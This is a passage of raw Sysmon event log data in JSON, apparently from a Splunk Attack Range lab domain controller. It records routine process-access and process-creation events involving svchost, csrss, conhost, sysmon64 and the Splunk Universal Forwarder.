C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nTargetProcessId: 4072\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","TargetProcessId":"4072","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.122\r\nProcessGuid: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nProcessId: 4092\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" generate-ssl\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.122","ProcessGuid":"{90617006-3FE6-5F2D-0000-0010E5150300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" generate-ssl","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1803d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1803d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 